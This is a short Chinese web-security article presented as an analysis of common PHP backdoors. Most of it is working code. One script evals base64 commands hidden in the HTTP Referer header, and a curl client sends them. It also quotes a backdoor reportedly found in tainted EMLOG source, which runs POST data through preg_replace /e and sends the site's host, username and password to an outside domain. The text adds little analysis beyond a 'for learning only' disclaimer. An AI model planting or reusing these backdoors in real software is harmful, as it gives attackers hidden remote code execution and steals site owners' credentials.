> 网络安全 > 网站安全 >

一些常见的PHP后门原理分析

本地测试结果如下图。 

本程序只作为学习作用,请勿拿去做坏事。 

 

复制代码
代码如下:

<?php 
//1.php 
header('Content-type:text/html;charset=utf-8'); 
parse_str($_SERVER['HTTP_REFERER'], $a); 
if(reset($a) == '10' && count($a) == 9) { 
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); 
}<?php 
//2.php 
header('Content-type:text/html;charset=utf-8'); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode($code); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; 
//后门url 
$url = 'http://localhost/test1/1.php'; 
$ch = curl_init(); 
$options = array( 
CURLOPT_URL => $url, 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer 
); 
curl_setopt_array($ch, $options); 
echo curl_exec($ch); 




最近EMLOG源代码被污染,有些用户下载的出现了以下的后门代码 


复制代码
代码如下:

if (isset($_GET["rsdsrv"])) { 
if($_GET["rsdsrv"] == "20c6868249a44b0ab92146eac6211aeefcf68eec"){ 
@preg_replace("//e",$_POST['IN_EMLOG'],"Unauthorization"); 


file_get_contents("http://某域名/?url=".base64_encode($_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'])."&username=".base64_encode($username)."&password=".base64_encode($password));
(责任编辑:IT)